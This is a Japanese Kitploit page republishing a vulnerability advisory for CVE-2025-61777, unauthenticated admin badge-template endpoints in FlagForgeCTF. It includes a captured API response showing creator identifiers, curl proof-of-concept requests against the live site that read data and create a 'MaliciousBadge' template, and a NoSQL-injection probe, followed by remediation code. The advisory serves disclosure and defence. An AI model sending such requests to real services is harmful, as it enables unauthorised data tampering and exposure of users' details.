Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-61777 — CVE on FlagForgeCTF のバージョン v2.0.0 から v2.3.1 に影響します。この問題を修正するため、バージョン 2.3.2 にアップグレードされました。 | Kitploit
ツール/GitHubGitHub/0x0w1z/cve-2025-61777
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストAPIセキュリティ
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE on FlagForgeCTF のバージョン v2.0.0 から v2.3.1 に影響します。この問題を修正するため、バージョン 2.3.2 にアップグレードされました。

リポジトリを見る
210ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-61777

1. FlagforgeCTF におけるバッジテンプレートの不正変更 CVE-2025-61777

概要

Flagforge アプリケーション(https://flagforge.xyz)は、管理APIエンドポイント、具体的には /api/admin/badge-templates(GET)と /api/admin/badge-templates/create(POST)に重大な脆弱性を晒しています。両エンドポイントとも認証および認可の制御が欠如しており、認証されていないユーザーが機密性の高いバッジテンプレートデータを取得したり、MongoDBデータベースに任意のテンプレートを作成したりすることが可能です。これにより、不正なデータ漏洩、データベースの汚染、またはバッジシステムの悪用(悪意のあるテンプレートやスパムテンプレートの作成など)につながる可能性があります。

説明

影響を受けるエンドポイント

  1. GET /api/admin/badge-templates:
    • MongoDBの badgeTemplates コレクションに保存されているすべてのバッジテンプレートのJSON配列を返します。
    • 公開されるフィールドには、_id、name、description、icon、color、isActive、createdBy、createdAt、updatedAt、__v が含まれます。
    • 認証ヘッダー、APIキー、セッションチェックは不要で、エンドポイントは公開アクセス可能です。
    • サンプルレスポンス(cURL より):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • ユーザー制御のフィールド(name、description、icon、color、isActive、createdBy)を使用して新しいバッジテンプレートを作成できます。
    • name、description、icon の存在チェックと、重複する name が存在しないことの確認という最小限の検証のみが行われます。
    • 認証や認可のチェックがないため、誰でもデータベースにデータを挿入できます。
    • サンプルコード(提供されたソースより):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

脆弱性

  • CWE-200: 不正なアクターへの機密情報の漏洩(GETエンドポイント): ユーザー識別子(例: Lagzen Thakuri、[email protected])やメタデータを公開し、偵察やフィッシングを可能にします。
  • CWE-306: 重要な機能に対する認証の欠如(両エンドポイント): 管理ルートにアクセス制御がありません。
  • CWE-284: 不適切なアクセス制御(両エンドポイント): 不正なデータ取得と変更を許可します。
  • 潜在的なNoSQLインジェクション: POSTエンドポイントはフィールドを明示的に分解していますが、GETエンドポイントがクエリパラメータ(例: ?name[$ne]=test)をサポートしている場合、脆弱になる可能性があります。
  • ログ汚染リスク: POSTエンドポイントはユーザー制御の name と createdBy をログに記録するため、ログスパムやインジェクションに悪用される可能性があります。

CVSS v3.1 スコア

  • 基本スコア: 9.1(Critical)
  • ベクター: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • 攻撃元 (AV): ネットワーク(公開アクセス可能なエンドポイント)。
    • 攻撃の複雑さ (AC): 低(特別な条件は不要)。
    • 必要な権限 (PR): なし(認証不要)。
    • ユーザー操作 (UI): なし(直接HTTPリクエスト)。
    • 影響範囲 (S): 変更なし(アプリケーション自体に影響)。
    • 機密性 (C): 高(ユーザーデータを公開)。
    • 完全性 (I): 高(任意のデータ作成を許可)。
    • 可用性 (A): 低(大量のテンプレート作成によるDoSの可能性)。

影響を受けるシステム

  • アプリケーション: Flagforge(https://flagforge.xyz)
  • コンポーネント:
    • Next.js APIルート: /api/admin/badge-templates(GET)および /api/admin/badge-templates/create(POST)。
    • MongoDBデータベース: badgeTemplates コレクション。
  • ホスティング: Vercel(サーバーレス、server: Vercel ヘッダーから推定)。
  • バージョン: 不明(NextRequest/NextResponse 構文に基づき Next.js 13+ と推定)。
  • 依存関係: MongoDBドライバー(カスタム @/utlis/db 接続ユーティリティ経由)、Next.js。

影響

  • 機密性: ユーザー識別子(createdBy)とメタデータ(createdAt、updatedAt)の漏洩。ソーシャルエンジニアリングや標的型攻撃に利用される可能性があります。
  • 完全性: バッジテンプレートの不正作成。アプリケーション内でのスパム、フィッシング、悪意のあるコンテンツ表示につながる可能性があります。
  • 可用性: POSTエンドポイントへのテンプレート作成リクエストの大量送信によるサービス拒否(DoS)の可能性。データベースリソースを消費します。
  • 悪用可能性: 高。エンドポイントは認証の壁なしに単純なHTTPリクエスト(例: cURL、Postman)で公開アクセス可能です。

概念実証

  1. 機密データの取得(GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • createdBy(例: [email protected])などの機密フィールドを含む、すべてのバッジテンプレートのJSONリストを返します。
  2. 不正なテンプレートの作成(POST)とテンプレートの削除(DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • badgeTemplates コレクションに新しいテンプレートを作成します。
    • バッジテンプレートを削除します。
    • GETリクエストを再実行して、新しいテンプレートが表示されることを確認します。
  3. 潜在的なNoSQLインジェクション(GET、クエリパラメータがサポートされている場合):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • エンドポイントがMongoDB演算子を処理するかどうかをテストします。フィルターをバイパスしたり、追加データを公開したりする可能性があります。

推奨事項

即時修正

  1. 認証の実装:
    • 両エンドポイントに対してユーザーIDを検証するミドルウェア(例: JWT、NextAuth.js、APIキー)を追加します。
      root@kitploit:~
      // POSTエンドポイント用のミドルウェア例
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // verifyToken を実装
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... 既存のコード ...
      }
      
  2. GETエンドポイントの制限:
    • GETエンドポイントを認証済み管理者のみに制限するか、最小限のデータ(例: createdBy を除外)を返すようにします。
    • クエリパラメータがサポートされている場合、NoSQLインジェクションを防ぐために入力をサニタイズします。

参考情報

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • CVSS v3.1 Calculator: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
ツールをダウンロード